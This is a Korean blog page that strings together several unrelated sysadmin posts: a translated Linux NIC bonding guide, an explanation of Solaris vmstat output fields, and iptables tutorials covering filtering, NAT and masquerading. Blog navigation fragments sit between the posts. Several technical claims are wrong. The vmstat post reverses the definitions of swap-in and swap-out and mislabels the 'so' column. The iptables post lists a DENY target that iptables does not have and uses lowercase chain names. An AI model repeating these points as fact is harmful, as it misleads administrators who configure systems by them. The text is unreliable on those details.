고 가용성은 MII 또는 ETHTOOL 상태 보고를 사용하여 구축된다. 당신은 당신의 모든 인터페이스가 MII 또는 ETHTOOL 링크 상태 보고를 지원하는지 검증해야 할 필요가 있다. 리눅스 커널 2.2.17에서, 모든 100Mbps 드라이버와 yellowfin 기가빗 드라이버는 MII을 지원한다. ETHTOOL 링크 보고가 eth0 인터페이스에 대해 가능한지를 결정하기 위해서 ethtool eth0를 입력하고 Link detected: 라인이 올바른 링크 상태를 나타내야 한다. 만일 당신의 시스템이 MII 또는 ETHTOOL 상태 보고를 지원하지 않는 인터페이스를 가지고 있다면, 링크의 failure는 감지되지 않을 것이다. 네트워크 드라이버가 MII ETHTOOL을 지원하지 않는다는 메시지는 bonding 드라이버가 miimon 값에 0이 아닌 값을 가지고 로드될 때 기록된다.

 

Bonding 드라이버는 ETHTOOL IOCTL(ETHTOOL_GLINK 명령어)을 사용하거나 또는 MII 상태 레지스터를 검사하여 모든 슬레이브의 링크를 정기적으로 검사할 수 있다. 검사 간격은 모듈 인수 miimon(MII 감시)를 사용하여 설정할 수 있다. 그것은 밀리초 단위로 검사하는 시간을 표현하는 정수값을 갖는다. 그 값은 1000/HZ에 가까우면 안 되는데 그것은 시스템 상호성을 감소시키기 때문이다. 100정도 값이 좋은 시작점으로 생각된다. 이것은 디바이스가 다운된 후 적어도 100 밀리초에 죽은 링크를 감지할 수 있다는 것을 의미한다.

 

예제:

 

   # modprobe bonding miimon=100

 

또는 /etc/modules.conf에 다음 라인을 추가하라

 

   alias bond0 bonding

   options bond0 miimon=100

 

현재 고 가용성을 위해 2가지 정책이 있다. 그것은 아래조건에 의해 결정된다.

 

   a) 호스트가 단일 호스트 또는 trunking을 지원하는 스위치에 연결되어 있는지

 

b) 호스트가 여러 개의 다른 스위치나 trunking을 지원하지 않는 단일 스위치에 연결되어 있는지

 

 

1) 단일 호스트 또는 단일 스위치에서의 고 가용성 부하 분산

----------------------------------------------------------------

이것은 가장 이해하기도 쉽고 설치하기도 쉽다. 단순히 여러 포트(Trunk, EtherChannel )의 트래픽을 모으기 위해서 외부 장치(호스트나 스위치)를 설정하라. 그리고 bonding 인터페이스를 설정하라. 만일 모듈이 적절한 MII 옵션을 사용하여 올라갔다면, 자동적으로 잘 동작할 것이다. 그리고 나서 다른 링크를 복구하거나 삭제하려 할 수 있다. 그리고 드라이버가 무엇을 감지하였는지 로그를 살펴보아라. 테스트할 때, trunk의 모든 포트가 다운된다면 오랫동안 trunk를 사용 불가능한 스위치에서 문제가 발생할 수 있다. 리눅스가 아니고, 스위치이다.

 

예제 1: 2배의 속도로 호스트에서 호스트

 

          +----------+                          +----------+

          |                 |eth0              eth0|                 |

          | Host A      +---------------+ Host B       |

          |                 +---------------+                  |

          |                 |eth1              eth1|                 |

          +----------+                          +----------+

 

  각 호스트에서:

     # modprobe bonding miimon=100

     # ifconfig bond0 addr

     # ifenslave bond0 eth0 eth1

 

예제 2: 2배의 속도로 호스트에서 스위치

 

          +----------+                          +----------+

          |                 |eth0             port1|                 |

          | Host A      +---------------+  switch      |

          |                 +---------------+                  |

          |                 |eth1             port2|                 |

          +----------+                          +----------+

 

  호스트 A에서 :                          스위치에서 :

     # modprobe bonding miimon=100           # set up a trunk on port1

     # ifconfig bond0 addr                     and port2

     # ifenslave bond0 eth0 eth1

 

 

2) 2개 이상의 스위치(또는 trunking을 지원하지 않는 단일 스위치)에서 고 가용성

------------------------------------------------------------

이 모드는 문제가 더 많다. 왜냐하면 이것은 여러 개의 포트가 있고 호스트의 MAC 주소는 스위치가 혼동하지 않도록 하나의 포트만 볼 수 있어야 한다는 사실 때문이다.

 

만일 인터페이스가 활성화된 것과 어떤 것이 백업인지를 알아야 할 필요가 있다면, ifconfig 를 사용하라, 모든 백업 인터페이스는 NOARP 플래그를 갖는다.

 

이 모드를 사용하기 위해서는 로딩할 때 모듈에 mode=1을 보내라:

 

    # modprobe bonding miimon=100 mode=1

 

또는 /etc/modules.conf 에 다음을 추가하라:

 

    alias bond0 bonding

    options bond0 miimon=100 mode=1

 

예제 1: 단일 실패 지점을 없애기 위해서 여러 개의 호스트와 여러 개의 스위치를 사용하라.

 

 

                 |                                                |

                 |port3                                 port3|

          +-----+----+                          +-----+----+

          |                 |port7    ISL  port7|                  |

          | switch A    +---------------+    witch B |

          |                  +---------------+                 |

          |                 |port8           port8|                  |

          +----++----+                          +-----++---+

           port2||port1                               port1||port2

                   ||                +------+                ||

                   |+---------+ host1 +---------+|

                   |          eth0 +------+ eth1          |

                   |                                                 |

                   |                 +------+                  |

                   +----------+ host2 +----------+

                         eth0 +------+ eth1

 

이런 설정에는 ISL이 있다. - Inter Switch Link(trunk가 될 수 있다), 양 스위치에 붙은 여러 개의 서버(host1, host2 )와 외부와 연결하는 하나 이상의 포트(port3). 모든 링크는 계속 감시되지만, 각 호스트에 단지 하나의 슬레이브만 활성화된다.(시스템은 실패와 백업 링크를 감지한다)

 

호스트가 자신의 활성 인터페이스를 변경할 때마다, 인터페이스가 다운될 때까지 새로운 것을 고수할 것이다. 예를 들면, 호스트는 스위치의 전송 테이블의 만료시간에 의한 영향을 거의 받지 않는다.

 

만일 host1 host2가 동일한 기능을 갖고 있고, 또 다른 외부 서버에 의해 부하분산에 사용되고 있다면, 호스트1의 활성 인터페이스가 하나의 스위치에 연결되고 호스트2의 활성 인터페이스는 다른 스위치에 연결되는 것이 좋다. 그러한 시스템은 단일 호스트, 케이블 또는 스위치의 failure에도 살아남을 것이다. 스위치 failure의 경우에 일어날 수 있는 가장 안 좋은 일은 다른 스위치가 자신의 테이블을 만료할 때까지 호스트중 1/2은 잠시 동안 연결이 불가능하다는 것이다.

 

예제 2: NIC failover를 설정하기 위해 스위치(trunking을 지원할 필요는 없다)에 여러 개의 이더넷 카드를 연결하는 것

 

 

          +----------+                          +----------+

          |                  |eth0           port1|                  |

          | Host A       +---------------+    switch   |

          |                  +---------------+                 |

          |                  |eth1           port2|                  |

          +----------+                          +----------+

 

  호스트 A에서 :                             스위치에서:

     # modprobe bonding miimon=100 mode=1     # (optional) minimize the time

     # ifconfig bond0 addr                    # for table expiration

     # ifenslave bond0 eth0 eth1

 

호스트가 자신의 활성 인터페이스를 변경할 때마다, 호스트는 자신이 다운될 때까지 새로운 것을 고수한다. 예제에서 호스트는 스위치 전송 테이블의 만료 시간에 많은 영향을 받는다.

 

 

3) Adapting to your switches' timing

------------------------------------

만일 스위치가 백업 모드로 전환하는데 오랜 시간이 걸린다면 링크가 다운된 후에 즉시 백업 인터페이스를 활성화시키는 것은 바람직하지 않을 것이다. 링크가 모듈 파라미터 downdelay(밀리초 단위이며 miimon의 배수이어야 한다)를 받아서 완전하게 사용 불가능하게 되는 순간만큼 시간을 지체하도록 하는 것은 가능하다.

 

스위치를 리부팅할 때, 스위치의 포트가 사용가능하기 전에 link up 상태를 보고하는 것이 가능하다. 이것은 아직 준비가 되지 않은 포트를 사용하도록 함으로써 bond 디바이스를 속일 수 있다. 활성 링크가 모듈 파라미터 updelay(밀리초 단위이며, miimon의 배수이어야 한다)를 받아서 재사용할 수 있는 순간을 지체하도록 할 수 있다.

 

유사한 사항이 호스트가 스위치와 끊어진 링크를 재 연결할 때(케이블 교체의 경우) 발생할 수 있다.

 

특별한 경우는 bonding 인터페이스가 모든 슬레이브 링크를 잃은 경우이다. 드라이버는 updelay 파라미터가 설정되어 있음에도, up되는 첫 번째 링크를 즉시 재사용할 것이다. (만일 updelay 상태의 슬레이브 인터페이스가 있다면, 첫 번째로 그 상태로 변경되는 인터페이스가 즉시 재사용될 것이다) 이것은 updelay 값이 과대평가되었다면, 다운타임(down-time)을 줄일 수 있다.

 

예제 :

 

    # modprobe bonding miimon=100 mode=1 downdelay=2000 updelay=5000

    # modprobe bonding miimon=100 mode=0 downdelay=0 updelay=5000

 

 

Promiscuous Sniffing notes

==========================

 

만일 네트워크 스니핑(network sniffing) 을 위해 bond 채널을 함께 사용하기를 원한다면 tcpdump 또는 ethereal, 또는 bonding 드라이버를 사용하여 여러 개의 인터페이스로부터 수집한 입력을 사용한 snort 같은 IDS를 실행하기를 원한다면 수동으로 Promiscuous 인터페이스 설치를 처리해야 한다. 특히 ifconfig bond0 up 을 했을 때, 반드시 promisc 플래그를 추가해야 한다. 이것은 ifenslave 시간에 슬레이브 인터페이스에 전달(propagate down)할 것이다. 완전한 예제는 다음과 같다:

 

   grep bond0 /etc/modules.conf || echo alias bond0 bonding >/etc/modules.conf

   ifconfig bond0 promisc up

   for if in eth1 eth2 ...;do

       ifconfig $if up

       ifenslave bond0 $if

   done

   snort ... -i bond0 ...

 

또한 Ifenslave 는 채널 용량 집합과 HA에서 설계 기능을 위하여 적절하게 인터페이스에서 인터페이스로 주소를 전달하기를 원한다. 하지만, 이것은 모든 경고를 무시하고 unnumbered 인터페이스에서도 잘 동작한다.

 

 

제약

===========

주된 제약 사항은:

- 단지 링크 상태가 감시된다. 만일 다른 편에 있는 스위치가 부분적으로 다운되었다면(, 전송을 더 이상하지 않지만, 링크는 정상인 경우), 링크는 사용가능하지 않다. 죽은 링크를 검사하는 또 다른 방법은 많은 부하가 걸린 호스트에서 들어오는 프레임의 개수를 세도록 하는 것이다. 이것은 작은 서버에서는 적절하지 않다. 하지만 전방 스위치가 링크( VRRP) 또는 서버 health-check 에 멀티캐스트 정보를 보낼 때 유용할 것이다. 들어오고 나가는 프레임을 계산하기 위해서는 arp_interval/arp_ip_target 파라미터를 사용하라

 

- 전송 부한 분산 정책은 현재 가능하지 않다. 이 모드는 bond내 모든 슬레이브가 단지 하나만 받을 동안 전송할 수 있도록 한다. 만일 받는 슬레이브가 fail된다면 다른 슬레이브가 fail된 받는 슬레이브의 MAC 주소를 받는다.

 

 

Resources and Links

===================

 

Current development on this driver is posted to:

 - http://www.sourceforge.net/projects/bonding/

 

Donald Becker's Ethernet Drivers and diag programs may be found at :

 - http://www.scyld.com/network/

 

You will also find a lot of information regarding Ethernet, NWay, MII, etc. at

www.scyld.com.

 

For new versions of the driver, patches for older kernels and the updated

userspace tools, take a look at Willy Tarreau's site :

 - http://wtarreau.free.fr/pub/bonding/

 - http://www-miaif.lip6.fr/willy/pub/bonding/

 

To get latest informations about Linux Kernel development, please consult

the Linux Kernel Mailing List Archives at :

   http://boudicca.tux.org/hypermail/linux-kernel/latest/

 

-- END --

반응형

'OS > LINUX' 카테고리의 다른 글

[LINUX] rpmbuild  (0) 2008.02.11
yum  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
iptables  (0) 2007.11.21
리눅스 & 유닉스에서 화일 갯수 세기  (0) 2007.10.29
Posted by [PineTree]
OS/SOLARIS2007. 12. 7. 20:19
반응형

[sol9:root:/]# vmstat 1 2

 kthr      memory            page            disk          faults      cpu

 r b w   swap  free  re  mf pi po fr de sr f0 s0 s1 s2   in   sy   cs us sy id

 0 0 0 1795144 840456 4   9  0  1  0  0  0  0  2  0  0  515  152  167  0  0 100

 0 0 0 1790624 827744 1   9  0  8  0  0  0  0  1  0  0  511  272  170  0  0 100

kthr(proc)

프로세스 수와 그에 해당하는 데이터를 나타낸다.

r:           실행 가능한 상태로 대기 큐에 쌓인 프로세스 수 이 숫자가 크다는 것은 현재 cpu가 작업을 원활히 소화하지 못하고 있다는 의미이다.

             r=0                      white (cpu idle)

             0<r<3                  green (no problem)

             3<=r<=5 amber (cpu busy)

             5<r                     red (cpu busy)

b:          i/o 자원을 할당 받지 못해 블록된 프로세스

w:          swap-out 된 프로세스 수, 실행 가능한 대기 큐에는 쌓이지 않고 swap-out

             대기큐가 많다는 것은 physical 메모리 부족을 의미

memory

가상 메모리와 physical 메모리의 사용 가능량

swap:    현재 사용 가능한 스왑 크기

free:      현재 사용가능한 free 메모리 크기, free 메모리가 인스톨된 메모리의

             6% 보다 계속적으로 적으면 가용 메모리가 부족한 경우이고 잠재적 병목현상이다.

page

초당 발생하는 fault page 수와 실행중인 페이징 표시

Solaris에서 여유 있는 물리적 메모리를 화일 시스템의 캐쉬로 사용한다.

디폴트로 프리 메모리(free physical memory)가 전체 물리적 메모리 양의 1/64(lotsfree)보다 크면, 화일 시스템을 통한 디스크 I/O는 모두 메모리에 남겨두어 화일 시스템의 캐쉬로 사용한다. 프리 메모리가 물리적 메모리 양의 1/64보다 적으면, Solaris는 프리 메모리를 1/64로 채우기 위하여 시스템에 있는 페이지를 조사하여, 최근에 사용되지 않은 페이지를 찾아서 프리 시킨다.

 

re:         page reclaim 프리 메모리가 부족할 경우, paging이 발생하여 최근에 사용되지

않은 페이지를 찾아서 프리시켜 부족한 메모리를 보충하게 되는데, 이렇게 프리

되는 페이지의 내용은 훼손되지 않고 프리 메모리 영역에서 관리된다.

             이렇게 프리된 페이지가 프로세스의 요청에 따라 다시 사용될 수 있다.

             이렇게 다시 사용된 페이지 수를 re(reclaim)에 보여준다.

 

mf:         minor fault 프로그램을 실행할 경우에 운영체제는 프로세스에 대한 어드레스 맵핑

테이블을 만들고, 프로세스를 실행한다. 프로세스가 실행되다가 필요한 페이지가 자신의 어드레스 맵핑 테이블에 연결되어 있지 않으면, 페이지 폴트가 발생하는데, 그 페이지가 메모리에 있으면(minor page fault라고 함), 그 페이지를 자신의 어드레스 맵핑 테이블에 등록한다. vmstat mf(minor fault) minor page fault 횟수를 나타낸다.

pi:          page in(kb) Solaris에서 파일 시스템은 페이지 서브 시스템을 통하여 이루어 진다.

, 화일 시스템의 입출력은 모두 page I/O로 이루어 진다. 화일 시스템을 통하여 화일을 읽을 때, 읽은 양은 KB로 환산되어 pi(page in)에 보여준다.

po:        page out(kb)페이지를 프리시킬 페이지의 내용이 변경되었을 경우, 그 페이지를 disk에 저장한다. (변경된 페이지가 프로그램의 데이타일 경우, 스왑 파티션에 저장되고, 화일 시스템의 케쉬이면 해당 디스크 파티션에 저장된다.) 이때, 디스크에 저장된 페이지를 KB 환산하여 보여준다.

fr:          free(kb) 프리시킨 페이지 수는 KB 단위로 환산되어 fr(free)에 보여준다.

de:        short_term 메모리 부족분 즉 swap-in을 막기위해 swap-out 시에 설정된

             인공적인 메모리의 부족분이다.

sr:         clock 알고리즘에 의한 페이지 scanned. sr은 가용메모리 부족 시에 활성화된

페이지 데몬의 수를 나타낸다. sr이 크다는 것은 사용 가능 메모리가 부족하다는 것이다.

             sr=0                    white

             0<sr<200            green

             200<=sr<300       amber

             400<sr                red

disk

초당 디스크 조작 수

faults

초당 trap/interrupt 비율

in:          device interrupt(non clock)

sy:         초당 system fault

cs:        cpu context switch

cpu

cpu 사용 시간에 대한 백분율(%)

us:         사용자 사용 시간

sy:         시스템 사용 시간

id:          idle 시간

 

[sol9:root:/]# vmstat -s

       0 swap ins

       0 swap outs

       0 pages swapped in

       0 pages swapped out

  7377342 total address trans. faults taken

시스템 부팅 이후 현재까지 이벤트 출력

 

[sol9:root:/]# vmstat -S 1 2

 kthr      memory            page            disk          faults      cpu

 r b w   swap  free  si  so pi po fr de sr f0 s0 s1 s2   in   sy   cs us sy id

 0 0 0 1795136 840440 0   0  0  1  0  0  0  0  2  0  0  515  152  167  0  0 100

 0 0 0 1790616 827704 0   0  0  0  0  0  0  0  0  0  0  507   97  164  0  0 100

 

페이징 내용에 si so 추가 출력

 

si:          초당 swap-in된 페이지

so:        swap-out된 전체 프로세서 수

swap-in:             주기억 장치에서 어떤 작업을 실행하고 있는 동안 그 작업 보다 순위가 높은 작업수행이 필요하여 끼어들기 형태로 일을 해야 할 때 이미 실행 중인 프로그램과 데이터를 일시적으로 보조기억 장치에 옮기는 것

swap-out:           작업 종료 후 보조기억 장치에서 주기억 장치로 다시 프로그램과 데이터를 옮기는 것

 

[sol9:root:/]# vmstat -c 1 2

flush statistics: (interval based)

     usr     ctx     rgn     seg     pag     par

       0       0       0       0       0       0

       0       0       0       0       0       0

cache flushing 상태를 나타내는 것

시스템 부팅 후 현재까지 flush 캐시의 수를 나타낸다

 

usr:       user

ctx:        context

rgn:       region

seg:      segment

pag:       page

par:       partial-page

 

[sol9:root:/]# vmstat -i

interrupt         total     rate

--------------------------------

clock          83489951      100

hmec0            242802        0

fdc0                  9        0

--------------------------------

Total          83732762      100

 

각 디바이스의 인터럽트된 사항을 나타낸다.

반응형

'OS > SOLARIS' 카테고리의 다른 글

미러 디스크 장애시 디스크 교체하기  (0) 2009.05.07
samba  (0) 2008.02.28
솔라리스에서 xmanager 접속을 차단하거나, 통제하기  (0) 2007.11.17
sun ipmp 관련 정보 사이트들  (0) 2007.08.28
IPMP  (0) 2007.08.28
Posted by [PineTree]
OS/LINUX2007. 11. 21. 02:10
반응형

원본출처링크:

http://www.mojily.com/bbs/view.php?id=linux&no=189

 

 - iptables

 

iptables 명령어 실행시 시스템에 적용되는 시기

- iptables 명령어를 실행하면 재부팅하지 않더라도 즉시 시스템에 적용된다.

- iptables -A INPUT -s 0/0 -j DROP를 하면 그 즉시 모든 접속이 차단된다.

- iptables -D INPUT -s 0/0 -j DROP를 하면 그 즉시 접속 차단 명령이 삭제된다.

- iptables -L로 명령어가 시스템에 적용중인지 확인 가능



재부팅시 iptables 내용 보존하여 실행하기

1. 스크립트 파일 만들어서 실행

   1) cd /etc/sysconfig

      - 스크립트파일 만들어질 디렉토리로 이동 (다른 디렉토리에 만들어도 됨)

   2) touch iptablesscript

      - /etc/sysconfig디렉토리에 iptablesscript라는 파일이 생성됨

        (다른 파일명으로 만들어도 됨)

   3) vi /etc/sysconfig/iptablesscript

      - 만들어진 파일을 open

   4) /sbin/iptables -A INPUT -s 100.100.100.100 -j DROP

      /sbin/iptables -A OUTPUT -s 200.200.200.200 -j ACCEPT

      - 실행하고자 하는 내용을 입력

      - 맨 윗줄에 #! /bin/bash나 맨 아랫줄에 exit 0는 입력할 필요 없음

   5) chmod 700 iptablesscript

      - 실행가능한 파일로 속성을 변경

   6) vi /etc/rc.d/rc.local

      - 재부팅시 자동으로 실행되는 내용이 들어가도록 하는 rc.local파일을 open

   7) /etc/sysconfig/iptablesscript

      - rc.local파일의 맨 아랫줄에 입력

   8) 재부팅

2. /etc/rc.d/rc.local 파일에 직접 기록

   /sbin/iptables -A INPUT -s 100.100.100.100 -j DROP

   /sbin/iptables -A OUTPUT -s 200.200.200.200 -j ACCEPT

   위 두줄을 /etc/rc.d/rc.local파일 맨 아랫줄에 직접 입력

   (파일에 직접 기록하는 방식은 다른 자동 실행 파일이 있는 경우 혼동

    가능성이 있으므로 스크립트 파일로 만드는 것이 좋음)



iptables -A INPUT -s 200.200.200.1 -j DROP

200.200.200.1 이라는 source IP(-s)로부터 오는(INPUT) 모든 패킷을

막는(DROP) 규칙을 추가(A)한다.

* ACCEPT  : 패킷을 허용

* DENY    : 패킷을 허용하지 않는다는 메시지를 패킷을 보낸 PC에 돌려보냄

* DROP    : 패킷을 허용하지 않으며, 허용하지 않는다는 메시지 자체도 안보냄

* REJECT  : match된 경우 -------- 거절한다는 에러 메시지를 돌려보냄

            match되지 않은 경우 - DROP과 동일한 작동을 함

* INPUT   : 내가 외부의 패킷을 받을지 결정

          : INPUT을 막을 경우 외부에서 나한테 패킷을 보낼 수 없음

* OUTPUT  : 내가 외부에 패킷을 보낼지 결정

          : OUTPUT을 막을 경우 내가 외부에 패킷을 보낼 수 없음

* FORWARD : 내가 받을 패킷을 어디로 RELAY할지 결정



iptables -A INPUT -p tcp --sport 25 -j ACCEPT

25번이라는 source포트(--sport)에서 오는(INPUT) protocol이(-p) tcp인 모든 접속을

허락하는(ACCEPT) 규칙을 추가(A)한다.



iptables –A INPUT –s 200.200.200.1 –p tcp --destination-port telnet –j DROP
200.200.200.1 이라는 source IP(-s)로부터 오는(INPUT) protocol이(-p) tcp이고

목적지 port(--destination-port)가 telnet인 패킷의 접속을 막는(DROP) 규칙을

추가(A)한다.



iptables -A INPUT -i eth1 -s 192.168.1.0/24 -d 0/0 -j ACCEPT
192.168.1.0/24라는 source IP(-s)로부터 오는(INPUT)

서버안으로 들어오는 인터페이스(-i)가 eth1이고 destination IP(-d)가

어떤 IP라도(0/0) 접속을 허락하는(ACCEPT) 규칙을 추가(A)한다.

(서버자체에 대한 접속이 아니라 마스커레이딩등을 이용하여 랜카드 두 개를

장착한 경우 eth1에 연결된 내부 PC에서 외부로의 접속 허용)

* 0/0 : 모든 IP가 해당 (/뒤의 숫자는 서브넷마스크를 의미함)

  /8  = /255.0.0.0  (/8이나 /255.0.0.0 중 어느 것을 입력해도 같음)

  /9  = /255.128.0.0

  /18 = /255.192.0.0

  /24 = /255.255.255.0

  /27 = /255.255.255.224

  /28 = /255.255.255.240

  /29 = /255.255.255.248

  /30 = /255.255.255.252

* '/'다음에 숫자가 올 경우 비트가 1로 채워진 갯수를 의미하는데 /24인 경우

  왼쪽에서 24개의 비트가 1이다.

(11111111.11111111.11111111.00000000 = 255.255.255.0)

  따라서 192.168.1.0/24 는 192.168.1.0/255.255.255.0과 같다



iptables -A INPUT –p tcp --destination-port telnet –i ppp0 –j DROP

protocol이(-p) tcp이고 목적지 port(--destination-port)가 telnet이며,

서버안으로 들어오는 인터페이스(-i)가 ppp0인 패킷의 접속을 막는(DROP) 규칙을

추가(A)한다.



iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT

iptables -A INPUT -p icmp --icmp-type 8 -j REJECT

protocol이(-p) icmp이고 icmp 의 type이 echo-request인 패킷이 오는(INPUT) 것을

거절하는(REJECT) 규칙을 추가(A)한다.

(외부에서의 ping을 거절하는 방법임 / echo-request대신에 8을 해도 됨)

* icmp type

  number    name                        icmp 보낸 program

    0       echo-reply                  ping

    3       destination-unreachable     Any TCP/UDP traffic

    5       redirect                    routing if not running routing daemon

    8       echo-request                ping

   11       time-exceeded               traceroute

* echo-request : ping프로그램으로 사용자가 목적지 서버에 보내는 패킷

* echo-reply : echo-request에 대하여 목적지시스템이 사용자에게 회신하는 패킷



iptables -A INPUT -p tcp --dport 20:30 -j DROP
protocol이(-p) tcp이고 목적지 port(--dport)가 20번부터 30번까지인 패킷이

오는(INPUT) 것을 막는(DROP) 규칙을 추가(A)한다.



iptables -A INPUT -m state --state INVALID -j DROP
network상태가(state --state)가 INVALID인 패킷이 오는(INPUT) 것을

막는(DROP) 규칙을 추가(A)한다.

* -m : -match로 해도 됨 (match 여부로 패킷의 방향을 결정하는 옵션임)

* state --state INVALID     : 패킷이 network연결되어 있는지 모르는 상태

* state --state ESTABLISHED : 패킷이 network 연결되어 있는 상태

* state --state NEW         : 패킷이 network 새로 연결되어 있는 상태

* state --state RELATED     : 패킷이 network새로 연결되어 있으나 이미 연결되어

                              있는 network와 연관성이 있는 상태



iptables -A INPUT -p tcp --tcp-flags ACK ACK --dport 80

-m string --string "/default.ida?"

-j REJECT --reject-with tcp-reset

protocol이(-p) tcp이고 목적지가 80번 포트(--dport 80)로 오는(INPUT)

신호가 ACK이고 /default.ida?라는 문자열이 들어있는 패킷은

연결을 해제하고(tcp-reset) 거절하는(REJECT) 규칙을 추가(A)한다.

* tcp프로토콜의 접속 제어 flag

  - SYN (SYNchronize Sequence Numbers) : 연결을 요청하는 flag(신호)

  - ACK (Acknowledgement) : 알았다는 신호

  - RST (Reset) : 연결을 해제하는 신호

  - FIN (Finish) : 접속을 종료하고 전송을 끝내는 신호

* HOST A > (SYN) > HOST B > (SYN ACK) > HOST A > (ACK) > HOST B

  1) HOST A는 HOST B에 SYN을 보내 연결을 요청

  2) HOST B는 HOST A에 SYS ACK를 보내 연결을 허락한다고 회신

  3) HOST A는 HOST B에 ACK를 보냄으로써 연결이 이루어짐

* SYN,ACK,FIN,RST SYN : 앞의 네 개 FLAG인 SYN,ACK,FIN,RST를 검사하여

  맨뒤의 SYN의 방향을 결정함 (위의 명령어의 경우는 앞의 ACK만 검사하여

  뒤의 ACK의 방향을 결정함)

* 는 명령어가 길어 아랫줄로 계속 이어서 입력할 경우 사용

  는 backspace왼쪽의 기호 key임

  80과 사이에 하나의 공백이 있어야 함 공백이 없을 경우 80 -m이

  안되고 80-m으로 계속 이어지는 형태로 error발생

* --reject-with tcp-reset : RST 패킷을 돌려보내서 연결을 해제토록 함

* --reject-with icmp-net-unreachable   : error 메시지를 돌려보냄

* --reject-with icmp-host-unreachable  : error 메시지를 돌려보냄

* --reject-with icmp-port-unreachable  : error 메시지를 돌려보냄

* --reject-with icmp-proto-unreachable : error 메시지를 돌려보냄

* --reject-with icmp-net-prohibitedor  : error 메시지를 돌려보냄

* --reject-with icmp-host-prohibited   : error 메시지를 돌려보냄



iptables -A input -i eth0 -s 10.0.0.0/8 -d 0/0 -j DENY

iptables -A input -i eth0 -s 127.0.0.0/8 -d 0/0 -j DENY

iptables -A input -i eth0 -s 172.16.0.0/16 -d 0/0 -j DENY

iptables -A input -i eth0 -s 192.168.0.0/24 -d 0/0 -j DENY

외부에서 내부 네트워크 IP자격으로 접근하여 ip spoofing하는 것 방지



iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

IP 주소를 할당 받은후 (POSTROUTING) NAT 테이블에 (-t nat)

서버밖으로 나가는 인터페이스(-o)가 ppp0인 모든 패킷들이

마스쿼레이드 되도록 (-j MASQUERADE) 규칙을 추가(-A) 한다.

* ppp0는 활성화된 외부 디바이스(External Interface)가 유동IP인 경우이며,

  고정IP인 경우 ppp0대신에 eth0사용

  (/sbin/ifconfig를 이용하여 활성화된 외부 디바이스 확인 가능)



마스커레이딩

                                               ┌---- PC1 (192.168.0.6)

* 인터넷망 - SERVER LAN1 - SERVER LAN2 - HUB - |----- PC2 (192.168.0.7)

                                               └---- PC3 (195.168.0.8)

* 패킷 발송 절차

  - 패킷에는 발신지, 수신지 IP주소와 포트번호가 포함되어 있습니다.

  1) PC1에서 서버로 패킷 보냄

  2) 서버는 수신된 패킷의 원래 IP(192.168.0.6)와 포트번호를 내부에 저장

  3) 서버는 수신된 패킷에 외부연결된 IP 및 새로운 발신포트번호를 부여

     <일반적인 web은 80번 포트를 사용하지만 80이 아닌 새로운 발신포트를

      사용해도 일반적으로는 접속 가능합니다. 목적지 서버에서 웹서버만

      운영하기 위해 80포트만 열어놓는 것은 패킷의 발신포트(source port)가

      아닌 목적지 포트(destination port)를 80만 열어놓는 것이므로

      발신포트가 예를들면 100이라도 접속 가능>

  4) 패킷은 새로받은 IP와 포트번호로 외부로 나감

* 패킷 수신 절차

  1) 외부에서 서버로 패킷이 들어옴

  2) 서버는 패킷의 포트번호를 검사하여 PC1의 포트인지 확인후

     패킷에 원래 IP(192.168.0.6)와 포트번호를 부여

  3) 패킷은 PC1로 전달됨

* 유동(또는 고정) IP 한개인 서버를 통해 IP가 없는 PC에 인터넷 연결하는 방식

  /etc/rc.d/rc.local 의 하단에 아래 두줄 추가하여 구축 가능

  iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

  echo 1 > /proc/sys/net/ipv4/ip_forward  (ip_forward 파일의 내용을 1로

    바꿈으로써 ipforwarding이 가능하게 한다. vi /proc/sys/net/ipv4/ip_forward로

    보면 바꾸기 전에 기본으로는 0으로 되어 있음)

* PREROUTING  : 서버안으로 들어오는 패킷에 해당되며, 들어오는 인터페이서(-i)만

                선택 가능

  POSTROUTING : 서버밖으로 나가는 패킷에 해당되면, 나가는 인터페이서(-o)만

                선택 가능

* nat (Network Address Translation)

  - 패킷의 목적지나 시작점을 바꾸는 방법

  - 시작점 NAT(Source NAT) (SNAT) : 패킷의 시작점을 바꾸는 방법

    iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 1.2.3.4

    (외부로 나가는 패킷의 출발지를 현재 내 PC의 IP주소인 200.200.200.200이

     아닌 1.2.3.4로 변경)

  - 목적지 NAT(Destination NAT) (DNAT) : 패킷의 목적지를 바꾸는 방법

    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 51210 -j DNAT

    --to 192.168.0.2

    (외부에서 내부로 들어오는 패킷의 목적지를 내부 서브네트워크중 하나인

     192.168.0.2로 변경)

반응형

'OS > LINUX' 카테고리의 다른 글

yum  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables  (0) 2007.11.21
리눅스 & 유닉스에서 화일 갯수 세기  (0) 2007.10.29
텔넷 putty ssh-keygen으로 자동 로그인하기  (0) 2007.10.26
Posted by [PineTree]
OS/LINUX2007. 11. 21. 00:54
반응형
1.
전체 체인조절
-N : 새로운 체인만들기
-X : 비어있는 체인 제거하기
-P : 미리만들어진 체인의 정책 바꾸기
-F : 체인의 규칙 지우기
-L : 체인의 규칙 나열하기
-Z : 체인내 규칙들의 패킷과 바이트의 카운트를 0으로 만들기

내부 체인조절
-A : 새로운 규칙을 추가하기
-I : 체인의 특정지점에 규칙삽입하기
-R : 체인의 특정지점의 규칙교환하기
-D : 체인의 특정지점의 규칙삭제하기

INPUT : 자신의 서버에 접속할때  설정
FORWARD : 자신의 서버가 경유지로 이용될때
OUTPUT : 자신의 서버에서 외부로 빠져나깔때 설정

DROP : 해당 패킷을 제거함
ACCEPT : 해당 패킷을 받아들임
REJECT : 해당 패킷을 돌려보냄

2. 설정파일을 파일로 남기기

iptables-save > mytables
로 파일을 만든 후 수정 및 추가 삭제를 한다.
메모리에 저장되므로 재부팅시 설정이 유지되지 않는다.
그래서 파일로 만들어 부팅시 자동실행되게 한다.

iptables의 정책 변경

iptables -F INPUT : input 설정을 먼저 제거한다.
iptables-restore < mytables : 변경된 mytables의 내용을 읽어들임
iptables -L [-n]

cp mytables > /etc/sysconfig/iptables : 시작프로그램으로 작동시

3. 문법 예제
- 설정순서가 중요하다. 먼저 ACCEPT한후 DROP해 주어야 한다.
- 자주 사용되는 정책들은 앞에 설정해 두자(네임서버, 분절, 상태적용, ...)

: !  : 일치하지 않는(상태적용 제외)
ex) -p ! tcp : tcp 프로토콜을 제외한 나머지 프로토콜

